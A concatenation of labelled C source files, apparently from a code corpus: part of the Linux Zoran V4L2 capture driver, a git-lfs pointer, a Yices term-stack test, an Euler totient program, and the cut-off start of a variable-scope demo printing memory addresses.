res = -EBUSY;
goto strmon_unlock_and_return;
}
zr->v4l_buffers.active = fh->buffers.active = ZORAN_LOCKED;
zr->v4l_settings = fh->v4l_settings;
zr->v4l_sync_tail = zr->v4l_pend_tail;
if (!zr->v4l_memgrab_active &&
zr->v4l_pend_head != zr->v4l_pend_tail) {
zr36057_set_memgrab(zr, 1);
}
break;
case ZORAN_MAP_MODE_JPG_REC:
case ZORAN_MAP_MODE_JPG_PLAY:
/* what is the codec mode right now? */
if (zr->jpg_buffers.active != ZORAN_ACTIVE ||
fh->buffers.active != ZORAN_ACTIVE) {
res = -EBUSY;
goto strmon_unlock_and_return;
}
zr->jpg_buffers.active = fh->buffers.active = ZORAN_LOCKED;
if (zr->jpg_que_head != zr->jpg_que_tail) {
/* Start the jpeg codec when the first frame is queued */
jpeg_start(zr);
}
break;
default:
dprintk(1,
KERN_ERR
"%s: VIDIOC_STREAMON - invalid map mode %d\n",
ZR_DEVNAME(zr), fh->map_mode);
res = -EINVAL;
break;
}
strmon_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_streamoff(struct file *file, void *__fh, enum v4l2_buf_type type)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int i, res = 0;
unsigned long flags;
mutex_lock(&zr->resource_lock);
switch (fh->map_mode) {
case ZORAN_MAP_MODE_RAW: /* raw capture */
if (fh->buffers.active == ZORAN_FREE &&
zr->v4l_buffers.active != ZORAN_FREE) {
res = -EPERM; /* stay off other's settings! */
goto strmoff_unlock_and_return;
}
if (zr->v4l_buffers.active == ZORAN_FREE)
goto strmoff_unlock_and_return;
spin_lock_irqsave(&zr->spinlock, flags);
/* unload capture */
if (zr->v4l_memgrab_active) {
zr36057_set_memgrab(zr, 0);
}
for (i = 0; i < fh->buffers.num_buffers; i++)
zr->v4l_buffers.buffer[i].state = BUZ_STATE_USER;
fh->buffers = zr->v4l_buffers;
zr->v4l_buffers.active = fh->buffers.active = ZORAN_FREE;
zr->v4l_grab_seq = 0;
zr->v4l_pend_head = zr->v4l_pend_tail = 0;
zr->v4l_sync_tail = 0;
spin_unlock_irqrestore(&zr->spinlock, flags);
break;
case ZORAN_MAP_MODE_JPG_REC:
case ZORAN_MAP_MODE_JPG_PLAY:
if (fh->buffers.active == ZORAN_FREE &&
zr->jpg_buffers.active != ZORAN_FREE) {
res = -EPERM; /* stay off other's settings! */
goto strmoff_unlock_and_return;
}
if (zr->jpg_buffers.active == ZORAN_FREE)
goto strmoff_unlock_and_return;
res = jpg_qbuf(fh, -1,
(fh->map_mode == ZORAN_MAP_MODE_JPG_REC) ?
BUZ_MODE_MOTION_COMPRESS :
BUZ_MODE_MOTION_DECOMPRESS);
if (res)
goto strmoff_unlock_and_return;
break;
default:
dprintk(1, KERN_ERR
"%s: VIDIOC_STREAMOFF - invalid map mode %d\n",
ZR_DEVNAME(zr), fh->map_mode);
res = -EINVAL;
break;
}
strmoff_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_queryctrl(struct file *file, void *__fh,
struct v4l2_queryctrl *ctrl)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
/* we only support hue/saturation/contrast/brightness */
if (ctrl->id < V4L2_CID_BRIGHTNESS ||
ctrl->id > V4L2_CID_HUE)
return -EINVAL;
decoder_call(zr, core, queryctrl, ctrl);
return 0;
}
static int zoran_g_ctrl(struct file *file, void *__fh, struct v4l2_control *ctrl)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
/* we only support hue/saturation/contrast/brightness */
if (ctrl->id < V4L2_CID_BRIGHTNESS ||
ctrl->id > V4L2_CID_HUE)
return -EINVAL;
mutex_lock(&zr->resource_lock);
decoder_call(zr, core, g_ctrl, ctrl);
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_s_ctrl(struct file *file, void *__fh, struct v4l2_control *ctrl)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
/* we only support hue/saturation/contrast/brightness */
if (ctrl->id < V4L2_CID_BRIGHTNESS ||
ctrl->id > V4L2_CID_HUE)
return -EINVAL;
mutex_lock(&zr->resource_lock);
decoder_call(zr, core, s_ctrl, ctrl);
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_g_std(struct file *file, void *__fh, v4l2_std_id *std)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
mutex_lock(&zr->resource_lock);
*std = zr->norm;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_s_std(struct file *file, void *__fh, v4l2_std_id *std)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0;
mutex_lock(&zr->resource_lock);
res = zoran_set_norm(zr, *std);
if (res)
goto sstd_unlock_and_return;
res = wait_grab_pending(zr);
sstd_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_enum_input(struct file *file, void *__fh,
struct v4l2_input *inp)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
if (inp->index >= zr->card.inputs)
return -EINVAL;
strncpy(inp->name, zr->card.input[inp->index].name,
sizeof(inp->name) - 1);
inp->type = V4L2_INPUT_TYPE_CAMERA;
inp->std = V4L2_STD_ALL;
/* Get status of video decoder */
mutex_lock(&zr->resource_lock);
decoder_call(zr, video, g_input_status, &inp->status);
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_g_input(struct file *file, void *__fh, unsigned int *input)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
mutex_lock(&zr->resource_lock);
*input = zr->input;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_s_input(struct file *file, void *__fh, unsigned int input)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res;
mutex_lock(&zr->resource_lock);
res = zoran_set_input(zr, input);
if (res)
goto sinput_unlock_and_return;
/* Make sure the changes come into effect */
res = wait_grab_pending(zr);
sinput_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_enum_output(struct file *file, void *__fh,
struct v4l2_output *outp)
{
if (outp->index != 0)
return -EINVAL;
outp->index = 0;
outp->type = V4L2_OUTPUT_TYPE_ANALOGVGAOVERLAY;
strncpy(outp->name, "Autodetect", sizeof(outp->name)-1);
return 0;
}
static int zoran_g_output(struct file *file, void *__fh, unsigned int *output)
{
*output = 0;
return 0;
}
static int zoran_s_output(struct file *file, void *__fh, unsigned int output)
{
if (output != 0)
return -EINVAL;
return 0;
}
/* cropping (sub-frame capture) */
static int zoran_cropcap(struct file *file, void *__fh,
struct v4l2_cropcap *cropcap)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int type = cropcap->type, res = 0;
memset(cropcap, 0, sizeof(*cropcap));
cropcap->type = type;
mutex_lock(&zr->resource_lock);
if (cropcap->type != V4L2_BUF_TYPE_VIDEO_OUTPUT &&
(cropcap->type != V4L2_BUF_TYPE_VIDEO_CAPTURE ||
fh->map_mode == ZORAN_MAP_MODE_RAW)) {
dprintk(1, KERN_ERR
"%s: VIDIOC_CROPCAP - subcapture only supported for compressed capture\n",
ZR_DEVNAME(zr));
res = -EINVAL;
goto cropcap_unlock_and_return;
}
cropcap->bounds.top = cropcap->bounds.left = 0;
cropcap->bounds.width = BUZ_MAX_WIDTH;
cropcap->bounds.height = BUZ_MAX_HEIGHT;
cropcap->defrect.top = cropcap->defrect.left = 0;
cropcap->defrect.width = BUZ_MIN_WIDTH;
cropcap->defrect.height = BUZ_MIN_HEIGHT;
cropcap_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_g_crop(struct file *file, void *__fh, struct v4l2_crop *crop)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int type = crop->type, res = 0;
memset(crop, 0, sizeof(*crop));
crop->type = type;
mutex_lock(&zr->resource_lock);
if (crop->type != V4L2_BUF_TYPE_VIDEO_OUTPUT &&
(crop->type != V4L2_BUF_TYPE_VIDEO_CAPTURE ||
fh->map_mode == ZORAN_MAP_MODE_RAW)) {
dprintk(1,
KERN_ERR
"%s: VIDIOC_G_CROP - subcapture only supported for compressed capture\n",
ZR_DEVNAME(zr));
res = -EINVAL;
goto gcrop_unlock_and_return;
}
crop->c.top = fh->jpg_settings.img_y;
crop->c.left = fh->jpg_settings.img_x;
crop->c.width = fh->jpg_settings.img_width;
crop->c.height = fh->jpg_settings.img_height;
gcrop_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_s_crop(struct file *file, void *__fh, struct v4l2_crop *crop)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0;
struct zoran_jpg_settings settings;
settings = fh->jpg_settings;
mutex_lock(&zr->resource_lock);
if (fh->buffers.allocated) {
dprintk(1, KERN_ERR
"%s: VIDIOC_S_CROP - cannot change settings while active\n",
ZR_DEVNAME(zr));
res = -EBUSY;
goto scrop_unlock_and_return;
}
if (crop->type != V4L2_BUF_TYPE_VIDEO_OUTPUT &&
(crop->type != V4L2_BUF_TYPE_VIDEO_CAPTURE ||
fh->map_mode == ZORAN_MAP_MODE_RAW)) {
dprintk(1, KERN_ERR
"%s: VIDIOC_G_CROP - subcapture only supported for compressed capture\n",
ZR_DEVNAME(zr));
res = -EINVAL;
goto scrop_unlock_and_return;
}
/* move into a form that we understand */
settings.img_x = crop->c.left;
settings.img_y = crop->c.top;
settings.img_width = crop->c.width;
settings.img_height = crop->c.height;
/* check validity */
res = zoran_check_jpg_settings(zr, &settings, 0);
if (res)
goto scrop_unlock_and_return;
/* accept */
fh->jpg_settings = settings;
scrop_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_g_jpegcomp(struct file *file, void *__fh,
struct v4l2_jpegcompression *params)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
memset(params, 0, sizeof(*params));
mutex_lock(&zr->resource_lock);
params->quality = fh->jpg_settings.jpg_comp.quality;
params->APPn = fh->jpg_settings.jpg_comp.APPn;
memcpy(params->APP_data,
fh->jpg_settings.jpg_comp.APP_data,
fh->jpg_settings.jpg_comp.APP_len);
params->APP_len = fh->jpg_settings.jpg_comp.APP_len;
memcpy(params->COM_data,
fh->jpg_settings.jpg_comp.COM_data,
fh->jpg_settings.jpg_comp.COM_len);
params->COM_len = fh->jpg_settings.jpg_comp.COM_len;
params->jpeg_markers =
fh->jpg_settings.jpg_comp.jpeg_markers;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_s_jpegcomp(struct file *file, void *__fh,
struct v4l2_jpegcompression *params)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0;
struct zoran_jpg_settings settings;
settings = fh->jpg_settings;
settings.jpg_comp = *params;
mutex_lock(&zr->resource_lock);
if (fh->buffers.active != ZORAN_FREE) {
dprintk(1, KERN_WARNING
"%s: VIDIOC_S_JPEGCOMP called while in playback/capture mode\n",
ZR_DEVNAME(zr));
res = -EBUSY;
goto sjpegc_unlock_and_return;
}
res = zoran_check_jpg_settings(zr, &settings, 0);
if (res)
goto sjpegc_unlock_and_return;
if (!fh->buffers.allocated)
fh->buffers.buffer_size =
zoran_v4l2_calc_bufsize(&fh->jpg_settings);
fh->jpg_settings.jpg_comp = *params = settings.jpg_comp;
sjpegc_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static unsigned int
zoran_poll (struct file *file,
poll_table *wait)
{
struct zoran_fh *fh = file->private_data;
struct zoran *zr = fh->zr;
int res = 0, frame;
unsigned long flags;
/* we should check whether buffers are ready to be synced on
* (w/o waits - O_NONBLOCK) here
* if ready for read (sync), return POLLIN|POLLRDNORM,
* if ready for write (sync), return POLLOUT|POLLWRNORM,
* if error, return POLLERR,
* if no buffers queued or so, return POLLNVAL
*/
mutex_lock(&zr->resource_lock);
switch (fh->map_mode) {
case ZORAN_MAP_MODE_RAW:
poll_wait(file, &zr->v4l_capq, wait);
frame = zr->v4l_pend[zr->v4l_sync_tail & V4L_MASK_FRAME];
spin_lock_irqsave(&zr->spinlock, flags);
dprintk(3,
KERN_DEBUG
"%s: %s() raw - active=%c, sync_tail=%lu/%c, pend_tail=%lu, pend_head=%lu\n",
ZR_DEVNAME(zr), __func__,
"FAL"[fh->buffers.active], zr->v4l_sync_tail,
"UPMD"[zr->v4l_buffers.buffer[frame].state],
zr->v4l_pend_tail, zr->v4l_pend_head);
/* Process is the one capturing? */
if (fh->buffers.active != ZORAN_FREE &&
/* Buffer ready to DQBUF? */
zr->v4l_buffers.buffer[frame].state == BUZ_STATE_DONE)
res = POLLIN | POLLRDNORM;
spin_unlock_irqrestore(&zr->spinlock, flags);
break;
case ZORAN_MAP_MODE_JPG_REC:
case ZORAN_MAP_MODE_JPG_PLAY:
poll_wait(file, &zr->jpg_capq, wait);
frame = zr->jpg_pend[zr->jpg_que_tail & BUZ_MASK_FRAME];
spin_lock_irqsave(&zr->spinlock, flags);
dprintk(3,
KERN_DEBUG
"%s: %s() jpg - active=%c, que_tail=%lu/%c, que_head=%lu, dma=%lu/%lu\n",
ZR_DEVNAME(zr), __func__,
"FAL"[fh->buffers.active], zr->jpg_que_tail,
"UPMD"[zr->jpg_buffers.buffer[frame].state],
zr->jpg_que_head, zr->jpg_dma_tail, zr->jpg_dma_head);
if (fh->buffers.active != ZORAN_FREE &&
zr->jpg_buffers.buffer[frame].state == BUZ_STATE_DONE) {
if (fh->map_mode == ZORAN_MAP_MODE_JPG_REC)
res = POLLIN | POLLRDNORM;
else
res = POLLOUT | POLLWRNORM;
}
spin_unlock_irqrestore(&zr->spinlock, flags);
break;
default:
dprintk(1,
KERN_ERR
"%s: %s - internal error, unknown map_mode=%d\n",
ZR_DEVNAME(zr), __func__, fh->map_mode);
res = POLLNVAL;
}
mutex_unlock(&zr->resource_lock);
return res;
}
/*
* This maps the buffers to user space.
*
* Depending on the state of fh->map_mode
* the V4L or the MJPEG buffers are mapped
* per buffer or all together
*
* Note that we need to connect to some
* unmap signal event to unmap the de-allocate
* the buffer accordingly (zoran_vm_close())
*/
static void
zoran_vm_open (struct vm_area_struct *vma)
{
struct zoran_mapping *map = vma->vm_private_data;
map->count++;
}
static void
zoran_vm_close (struct vm_area_struct *vma)
{
struct zoran_mapping *map = vma->vm_private_data;
struct zoran_fh *fh = map->file->private_data;
struct zoran *zr = fh->zr;
int i;
if (--map->count > 0)
return;
dprintk(3, KERN_INFO "%s: %s - munmap(%s)\n", ZR_DEVNAME(zr),
__func__, mode_name(fh->map_mode));
for (i = 0; i < fh->buffers.num_buffers; i++) {
if (fh->buffers.buffer[i].map == map)
fh->buffers.buffer[i].map = NULL;
}
kfree(map);
/* Any buffers still mapped? */
for (i = 0; i < fh->buffers.num_buffers; i++)
if (fh->buffers.buffer[i].map)
return;
dprintk(3, KERN_INFO "%s: %s - free %s buffers\n", ZR_DEVNAME(zr),
__func__, mode_name(fh->map_mode));
mutex_lock(&zr->resource_lock);
if (fh->map_mode == ZORAN_MAP_MODE_RAW) {
if (fh->buffers.active != ZORAN_FREE) {
unsigned long flags;
spin_lock_irqsave(&zr->spinlock, flags);
zr36057_set_memgrab(zr, 0);
zr->v4l_buffers.allocated = 0;
zr->v4l_buffers.active = fh->buffers.active = ZORAN_FREE;
spin_unlock_irqrestore(&zr->spinlock, flags);
}
v4l_fbuffer_free(fh);
} else {
if (fh->buffers.active != ZORAN_FREE) {
jpg_qbuf(fh, -1, zr->codec_mode);
zr->jpg_buffers.allocated = 0;
zr->jpg_buffers.active = fh->buffers.active = ZORAN_FREE;
}
jpg_fbuffer_free(fh);
}
mutex_unlock(&zr->resource_lock);
}
static const struct vm_operations_struct zoran_vm_ops = {
.open = zoran_vm_open,
.close = zoran_vm_close,
};
static int
zoran_mmap (struct file *file,
struct vm_area_struct *vma)
{
struct zoran_fh *fh = file->private_data;
struct zoran *zr = fh->zr;
unsigned long size = (vma->vm_end - vma->vm_start);
unsigned long offset = vma->vm_pgoff << PAGE_SHIFT;
int i, j;
unsigned long page, start = vma->vm_start, todo, pos, fraglen;
int first, last;
struct zoran_mapping *map;
int res = 0;
dprintk(3,
KERN_INFO "%s: %s(%s) of 0x%08lx-0x%08lx (size=%lu)\n",
ZR_DEVNAME(zr), __func__,
mode_name(fh->map_mode), vma->vm_start, vma->vm_end, size);
if (!(vma->vm_flags & VM_SHARED) || !(vma->vm_flags & VM_READ) ||
!(vma->vm_flags & VM_WRITE)) {
dprintk(1,
KERN_ERR
"%s: %s - no MAP_SHARED/PROT_{READ,WRITE} given\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
mutex_lock(&zr->resource_lock);
if (!fh->buffers.allocated) {
dprintk(1,
KERN_ERR
"%s: %s(%s) - buffers not yet allocated\n",
ZR_DEVNAME(zr), __func__, mode_name(fh->map_mode));
res = -ENOMEM;
goto mmap_unlock_and_return;
}
first = offset / fh->buffers.buffer_size;
last = first - 1 + size / fh->buffers.buffer_size;
if (offset % fh->buffers.buffer_size != 0 ||
size % fh->buffers.buffer_size != 0 || first < 0 ||
last < 0 || first >= fh->buffers.num_buffers ||
last >= fh->buffers.buffer_size) {
dprintk(1,
KERN_ERR
"%s: %s(%s) - offset=%lu or size=%lu invalid for bufsize=%d and numbufs=%d\n",
ZR_DEVNAME(zr), __func__, mode_name(fh->map_mode), offset, size,
fh->buffers.buffer_size,
fh->buffers.num_buffers);
res = -EINVAL;
goto mmap_unlock_and_return;
}
/* Check if any buffers are already mapped */
for (i = first; i <= last; i++) {
if (fh->buffers.buffer[i].map) {
dprintk(1,
KERN_ERR
"%s: %s(%s) - buffer %d already mapped\n",
ZR_DEVNAME(zr), __func__, mode_name(fh->map_mode), i);
res = -EBUSY;
goto mmap_unlock_and_return;
}
}
/* map these buffers */
map = kmalloc(sizeof(struct zoran_mapping), GFP_KERNEL);
if (!map) {
res = -ENOMEM;
goto mmap_unlock_and_return;
}
map->file = file;
map->count = 1;
vma->vm_ops = &zoran_vm_ops;
vma->vm_flags |= VM_DONTEXPAND;
vma->vm_private_data = map;
if (fh->map_mode == ZORAN_MAP_MODE_RAW) {
for (i = first; i <= last; i++) {
todo = size;
if (todo > fh->buffers.buffer_size)
todo = fh->buffers.buffer_size;
page = fh->buffers.buffer[i].v4l.fbuffer_phys;
if (remap_pfn_range(vma, start, page >> PAGE_SHIFT,
todo, PAGE_SHARED)) {
dprintk(1,
KERN_ERR
"%s: %s(V4L) - remap_pfn_range failed\n",
ZR_DEVNAME(zr), __func__);
res = -EAGAIN;
goto mmap_unlock_and_return;
}
size -= todo;
start += todo;
fh->buffers.buffer[i].map = map;
if (size == 0)
break;
}
} else {
for (i = first; i <= last; i++) {
for (j = 0;
j < fh->buffers.buffer_size / PAGE_SIZE;
j++) {
fraglen =
(le32_to_cpu(fh->buffers.buffer[i].jpg.
frag_tab[2 * j + 1]) & ~1) << 1;
todo = size;
if (todo > fraglen)
todo = fraglen;
pos =
le32_to_cpu(fh->buffers.
buffer[i].jpg.frag_tab[2 * j]);
/* should just be pos on i386 */
page = virt_to_phys(bus_to_virt(pos))
>> PAGE_SHIFT;
if (remap_pfn_range(vma, start, page,
todo, PAGE_SHARED)) {
dprintk(1,
KERN_ERR
"%s: %s(V4L) - remap_pfn_range failed\n",
ZR_DEVNAME(zr), __func__);
res = -EAGAIN;
goto mmap_unlock_and_return;
}
size -= todo;
start += todo;
if (size == 0)
break;
if (le32_to_cpu(fh->buffers.buffer[i].jpg.
frag_tab[2 * j + 1]) & 1)
break; /* was last fragment */
}
fh->buffers.buffer[i].map = map;
if (size == 0)
break;
}
}
mmap_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static const struct v4l2_ioctl_ops zoran_ioctl_ops = {
.vidioc_querycap = zoran_querycap,
.vidioc_cropcap = zoran_cropcap,
.vidioc_s_crop = zoran_s_crop,
.vidioc_g_crop = zoran_g_crop,
.vidioc_enum_input = zoran_enum_input,
.vidioc_g_input = zoran_g_input,
.vidioc_s_input = zoran_s_input,
.vidioc_enum_output = zoran_enum_output,
.vidioc_g_output = zoran_g_output,
.vidioc_s_output = zoran_s_output,
.vidioc_g_fbuf = zoran_g_fbuf,
.vidioc_s_fbuf = zoran_s_fbuf,
.vidioc_g_std = zoran_g_std,
.vidioc_s_std = zoran_s_std,
.vidioc_g_jpegcomp = zoran_g_jpegcomp,
.vidioc_s_jpegcomp = zoran_s_jpegcomp,
.vidioc_overlay = zoran_overlay,
.vidioc_reqbufs = zoran_reqbufs,
.vidioc_querybuf = zoran_querybuf,
.vidioc_qbuf = zoran_qbuf,
.vidioc_dqbuf = zoran_dqbuf,
.vidioc_streamon = zoran_streamon,
.vidioc_streamoff = zoran_streamoff,
.vidioc_enum_fmt_vid_cap = zoran_enum_fmt_vid_cap,
.vidioc_enum_fmt_vid_out = zoran_enum_fmt_vid_out,
.vidioc_enum_fmt_vid_overlay = zoran_enum_fmt_vid_overlay,
.vidioc_g_fmt_vid_cap = zoran_g_fmt_vid_cap,
.vidioc_g_fmt_vid_out = zoran_g_fmt_vid_out,
.vidioc_g_fmt_vid_overlay = zoran_g_fmt_vid_overlay,
.vidioc_s_fmt_vid_cap = zoran_s_fmt_vid_cap,
.vidioc_s_fmt_vid_out = zoran_s_fmt_vid_out,
.vidioc_s_fmt_vid_overlay = zoran_s_fmt_vid_overlay,
.vidioc_try_fmt_vid_cap = zoran_try_fmt_vid_cap,
.vidioc_try_fmt_vid_out = zoran_try_fmt_vid_out,
.vidioc_try_fmt_vid_overlay = zoran_try_fmt_vid_overlay,
.vidioc_queryctrl = zoran_queryctrl,
.vidioc_s_ctrl = zoran_s_ctrl,
.vidioc_g_ctrl = zoran_g_ctrl,
};
/* please use zr->resource_lock consistently and kill this wrapper */
static long zoran_ioctl(struct file *file, unsigned int cmd,
unsigned long arg)
{
struct zoran_fh *fh = file->private_data;
struct zoran *zr = fh->zr;
int ret;
mutex_lock(&zr->other_lock);
ret = video_ioctl2(file, cmd, arg);
mutex_unlock(&zr->other_lock);
return ret;
}
static const struct v4l2_file_operations zoran_fops = {
.owner = THIS_MODULE,
.open = zoran_open,
.release = zoran_close,
.unlocked_ioctl = zoran_ioctl,
.read = zoran_read,
.write = zoran_write,
.mmap = zoran_mmap,
.poll = zoran_poll,
};
struct video_device zoran_template __devinitdata = {
.name = ZORAN_NAME,
.fops = &zoran_fops,
.ioctl_ops = &zoran_ioctl_ops,
.release = &zoran_vdev_release,
.tvnorms = V4L2_STD_NTSC | V4L2_STD_PAL | V4L2_STD_SECAM,
};
|
289449.c | version https://git-lfs.github.com/spec/v1
oid sha256:7e6461c07144d20f9ef33b06d1d787e09edea7d4cc0463cc0add97ffa1199c76
size 1735
|
358770.c | /*
* The Yices SMT Solver. Copyright 2014 SRI International.
*
* This program may only be used subject to the noncommercial end user
* license agreement which is downloadable along with this program.
*/
/*
* Test of stack-based term construction
*/
#include <stdint.h>
#include <inttypes.h>
#include <setjmp.h>
#include <stdio.h>
#include "api/yices_globals.h"
#include "io/term_printer.h"
#include "io/type_printer.h"
#include "parser_utils/term_stack2.h"
#include "yices.h"
static char *code2string[NUM_TSTACK_ERRORS] = {
"no error",
"internal error",
"operation not supported",
"undefined term",
"undefined type",
"invalid rational format",
"invalid float format",
"invalid bitvector binary format",
"invalid bitvector hexadecimal format",
"type name already used",
"term name already used",
"invalid operation",
"incorrect frame format",
"constant too large",
"constant is not an integer",
"symbol required",
"numeric constant required",
"type required",
"error in arithmetic operation",
"division by zero",
"denominator is not a constant",
"bitsize must be positive",
"number cannot be converted to a bitvector",
"error in bitvector arithmetic operation",
"error in bitvector operation",
"yices error",
};
static tstack_t stack;
static loc_t loc;
int main(void) {
int exception;
type_t tau;
term_t t;
yices_init();
init_tstack(&stack, NUM_BASE_OPCODES);
loc.line = 0;
loc.column = 0;
exception = setjmp(stack.env);
if (exception == 0) {
// fake location
loc.line ++;
loc.column = 0;
printf("test: (define-type bool <bool-type>)\n");
fflush(stdout);
loc.column ++;
tstack_push_op(&stack, DEFINE_TYPE, &loc);
loc.column ++;
tstack_push_free_typename(&stack, "bool", 4, &loc);
loc.column ++;
tstack_push_bool_type(&stack, &loc);
tstack_eval(&stack);
if (! tstack_is_empty(&stack)) {
printf("*** Error: stack not empty ***\n");
}
tau = yices_get_type_by_name("bool");
if (tau == NULL_TYPE) {
printf("*** bool not defined as a type ***\n");
} else {
printf("*** bool --> ");
print_type_def(stdout, __yices_globals.types, tau);
printf("\n");
printf("*** yices_get_type_by_name(bool) = %"PRId32"\n", tau);
printf("*** yices_bool_type() = %"PRId32"\n", yices_bool_type());
}
loc.line ++;
loc.column = 0;
printf("\ntest: (define-type bv5 (bitvector 5))\n");
fflush(stdout);
loc.column ++;
tstack_push_op(&stack, DEFINE_TYPE, &loc);
loc.column ++;
tstack_push_free_typename(&stack, "bv5", 3, &loc);
loc.column ++;
tstack_push_op(&stack, MK_BV_TYPE, &loc);
loc.column ++;
tstack_push_rational(&stack, "5", &loc);
tstack_eval(&stack);
tstack_eval(&stack);
if (! tstack_is_empty(&stack)) {
printf("*** Error: stack not empty ***\n");
}
tau = yices_get_type_by_name("bv5");
if (tau == NULL_TYPE) {
printf("*** BUG: bv5 not defined as a type ***\n");
} else {
printf("*** bv5 --> ");
print_type_def(stdout, __yices_globals.types, tau);
printf("\n");
printf("*** yices_get_type_by_name(bv5) = %"PRId32"\n", tau);
printf("*** yices_bv_type(5) = %"PRId32"\n", yices_bv_type(5));
}
loc.line ++;
loc.column = 0;
printf("\ntest: (define xxx::int (let (x 1) (let (y 2) (+ x y))))\n");
fflush(stdout);
loc.column ++;
tstack_push_op(&stack, DEFINE_TERM, &loc);
loc.column ++;
tstack_push_free_termname(&stack, "xxx", 3, &loc);
loc.column ++;
tstack_push_int_type(&stack, &loc);
loc.column ++;
tstack_push_op(&stack, LET, &loc);
loc.column ++;
tstack_push_op(&stack, BIND, &loc);
loc.column ++;
tstack_push_string(&stack, "x", 1, &loc);
loc.column ++;
tstack_push_rational(&stack, "1", &loc);
tstack_eval(&stack);
loc.column ++;
tstack_push_op(&stack, LET, &loc);
loc.column ++;
tstack_push_op(&stack, BIND, &loc);
loc.column ++;
tstack_push_string(&stack, "y", 1, &loc);
loc.column ++;
tstack_push_rational(&stack, "2", &loc);
tstack_eval(&stack);
loc.column ++;
tstack_push_op(&stack, MK_ADD, &loc);
loc.column ++;
tstack_push_term_by_name(&stack, "x", &loc);
loc.column ++;
tstack_push_term_by_name(&stack, "y", &loc);
tstack_eval(&stack);
tstack_eval(&stack);
tstack_eval(&stack);
tstack_eval(&stack);
if (! tstack_is_empty(&stack)) {
printf("*** Error: stack not empty ***\n");
}
t = yices_get_term_by_name("xxx");
if (t== NULL_TERM) {
printf("*** BUG: xxx not defined as a term ***\n");
} else {
printf("*** xxx --> ");
print_term_def(stdout, __yices_globals.terms, t);
printf("\n");
}
loc.line ++;
loc.column = 0;
printf("\ntest: (define yyy::int (let (x 1) (let (x 2) (+ x x))))\n");
fflush(stdout);
loc.column ++;
tstack_push_op(&stack, DEFINE_TERM, &loc);
loc.column ++;
tstack_push_free_termname(&stack, "yyy", 3, &loc);
loc.column ++;
tstack_push_int_type(&stack, &loc);
loc.column ++;
tstack_push_op(&stack, LET, &loc);
loc.column ++;
tstack_push_op(&stack, BIND, &loc);
loc.column ++;
tstack_push_string(&stack, "x", 1, &loc);
loc.column ++;
tstack_push_rational(&stack, "1", &loc);
tstack_eval(&stack);
loc.column ++;
tstack_push_op(&stack, LET, &loc);
loc.column ++;
tstack_push_op(&stack, BIND, &loc);
loc.column ++;
tstack_push_string(&stack, "x", 1, &loc);
loc.column ++;
tstack_push_rational(&stack, "2", &loc);
tstack_eval(&stack);
loc.column ++;
tstack_push_op(&stack, MK_ADD, &loc);
loc.column ++;
tstack_push_term_by_name(&stack, "x", &loc);
loc.column ++;
tstack_push_term_by_name(&stack, "x", &loc);
tstack_eval(&stack);
tstack_eval(&stack);
tstack_eval(&stack);
tstack_eval(&stack);
if (! tstack_is_empty(&stack)) {
printf("*** Error: stack not empty ***\n");
}
t = yices_get_term_by_name("yyy");
if (t== NULL_TERM) {
printf("*** BUG: yyy not defined as a term ***\n");
} else {
printf("*** yyy --> ");
print_term_def(stdout, __yices_globals.terms, t);
printf("\n");
}
} else {
printf("Exception: %s\n", code2string[exception]);
if (stack.error_string != NULL) {
printf("---> string = %s\n", stack.error_string);
}
printf("---> code = %d\n", exception);
printf("---> line = %"PRId32"\n", stack.error_loc.line);
printf("---> column = %"PRId32"\n", stack.error_loc.column);
printf("---> op = %d\n", stack.error_op);
tstack_reset(&stack);
}
printf("\n");
delete_tstack(&stack);
yices_exit();
return 0;
}
|
617229.c | //Euler totient function phi(n): count numbers <= n and prime of n
//https://oeis.org/A000010
#include <stdio.h>
#include <stdbool.h>
//Find the Greatest common divisors between numbers p and q
int gcd(int p, int q)
{
if (p == q)
{
return p;
}
if (p > q)
{
return gcd(p - q, q);
}
if (q > p)
{
return gcd(p, q - p);
}
}
//Function that returns true if numbers p and q are coprimes.
bool coprimes(int p, int q)
{
if (gcd(p, q) == 1)
{
return true;
}
else
{
return false;
}
}
//Couting the numbers that are smaller and primes to n
int phi(int n)
{
int count = 1;
int temp_n = n;
while (temp_n >= 2)
{
if (coprimes(n, temp_n))
{
count += 1;
}
temp_n -= 1;
}
return count;
}
int main(void)
{
//Discover the first 50 elements of this sequence
for (int i = 1; i < 50; i ++)
{
printf("%d, ", phi(i));
}
printf("\n");
} |
118522.c | #include <stdio.h>
int j = 42; //j is a global variable.
void func3(){
int i = 11,j = 999;
printf("\t\t\t[in func3] i @ 0x%08x = %d\n",&i,i);
printf("\t\t\t[in func3] j @ 0x%08x = %d\n",&j,j);
